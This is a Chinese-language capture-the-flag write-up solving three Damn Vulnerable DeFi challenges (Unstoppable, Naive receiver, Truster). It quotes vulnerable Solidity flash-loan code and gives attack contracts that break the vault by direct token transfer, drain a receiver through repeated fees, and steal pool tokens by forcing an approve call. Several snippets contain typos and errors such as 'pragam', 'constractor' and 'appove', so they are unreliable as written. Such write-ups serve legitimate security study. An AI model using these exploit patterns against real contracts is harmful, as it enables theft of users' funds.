Damn-vulnerable-defi

Unstoppable

要求是,使拥有一百万DVI的钱包停止闪电贷的功能

分析:这个合约的代码在gittub上,要分开去看,这道题的解决就是靠一个基本的闪电贷的知识
首先要看闪电贷的函数

function flashLoan(IERC3156FlashBorrower receiver, address _token, uint256 amount, bytes calldata data)
external
returns (bool)
{
if (amount == 0) revert InvalidAmount(0); // fail early
if (address(asset) != _token) revert UnsupportedCurrency(); // enforce ERC3156 requirement
uint256 balanceBefore = totalAssets();
if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance(); // enforce ERC4626 requirement

// transfer tokens out + execute callback on receiver
ERC20(_token).safeTransfer(address(receiver), amount);

// callback must return magic value, otherwise assume it failed
uint256 fee = flashFee(_token, amount);
if (
receiver.onFlashLoan(msg.sender, address(asset), amount, fee, data)
!= keccak256("IERC3156FlashBorrower.onFlashLoan")
) {
revert CallbackFailed();
}

// pull amount + fee from receiver, then pay the fee to the recipient
ERC20(_token).safeTransferFrom(address(receiver), address(this), amount + fee);
ERC20(_token).safeTransfer(feeRecipient, fee);

return true;
}

revert的关键: convertToShares(totalSupply) != balanceBefore,首先来看这个totalSupply,很熟悉,在ERC20中见过,又整体看这个合约,其实是继承了ERC20,totalSupply在ERC4626中定义了

//ERC4626部分合约

function convertToShares(uint assets) public view virtual returns (uint256){
uint256 supply = totalSupply;
return supply = 0 ? assets : assets.mulDivDown(supply,talalAssets());
}
  • totalAssets():计算的是当前金库中的资产代币数目
  • convertToShares(totalSupply):totalSupply 是总的 share 代币数目(只有 deposit 或 mint 时才会产生),convertToShares 就是计算:assets * totalSupply /totalAssets ()

从中我们可以看到 supply=assets*supply/talalAssets(),如果我们让talalAssets()总数增加,而assets不变,就能满足convertToShares(totalSupply) != balanceBefore,所以就只要不通过 depost 或 mint 方法向 UnstoppableVault 中转入 token 即可

方法:在Unstoppable.t.sol测试合约中写我们的攻击合约,记得找对位置

/**
* CODE YOUR SOLUTION HERE
*/
function test_unstoppable() public checkSolvedByPlayer {
vm.startPrank(player);
taken.transfer(address(vault),1)
vm.stopPrank();
}

/**
* CHECKS SUCCESS CONDITIONS - DO NOT TOUCH
*/


Naive receiver

要求是,掏空一个用户已经部署的合约上的ETH

分析,部署合约,pool的闪电贷手续费为1eth,receiver已经有了10eth,要使 receiver 中的余额为 0,pool 中的余额为 1000+10eth,就是因此只需通过 receiver 向 pool 执行十次闪电贷即可把 10eth 全部通过手续费的方式转给 pool

方法:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../../src/naive-receiver/FlashLoanReceiver.sol";
import "../../src/naive-receiver/NaiveReceiverLenderPool.sol";
import "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";

contract Attacker {
constructor(address payable _pool, address payable _receiver){
NaiveReceiverLenderPool pool = NaiveReceiverLenderPool(_pool);
for(uint256 i=0; i<10; i++){
pool.flashLoan(IERC3156FlashBorrower(_receiver), address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE), 1, "0x");
}
}
}

Truster

要求是,获取这个池中的全部DIV

分析:看整个合约,还是挺简单的,也易读易懂,flashLoan合约中,实现了简单的合约代码,执行回调的函数就是 target.functionCall(data);主要从这个入手,攻击合约如下:

pragam solidityb ^0.8.0;

import"./TusterLenderPool.sol";
import"@openzeppelin/contracts/token/ERC20/IERC20.sol"

interface ITusterLenderPool{
    function flashLoan(uint256 borrowAmount,address borrower,address target,bytes calldata data);
}

contract TusterExploit{
   ITusterlenerPool cons;
   address pool;
   uint256 balanceof;
   address tokenaddress;

   constractor (address _pool,address _tokenaddress,uint256 Balanceof)
   {
    cons = ITusterLenderPool(_pool);
    pool = _pool;
    tokenaddress = _tokenaddress;
    balanceof = Balanceof;
   }

   function hack() public {
    cons.flashLoan(0,msg.sender,tokenaddress,abi.codeWithSigner("appove(address,uint256)",address(this),balanceof));
    IERC20 token  = IERC20(tokenaddress);
    token.transferFrom(pool,msg.sender,balanceof);

   }
}

pragma solidity ^0.8.0;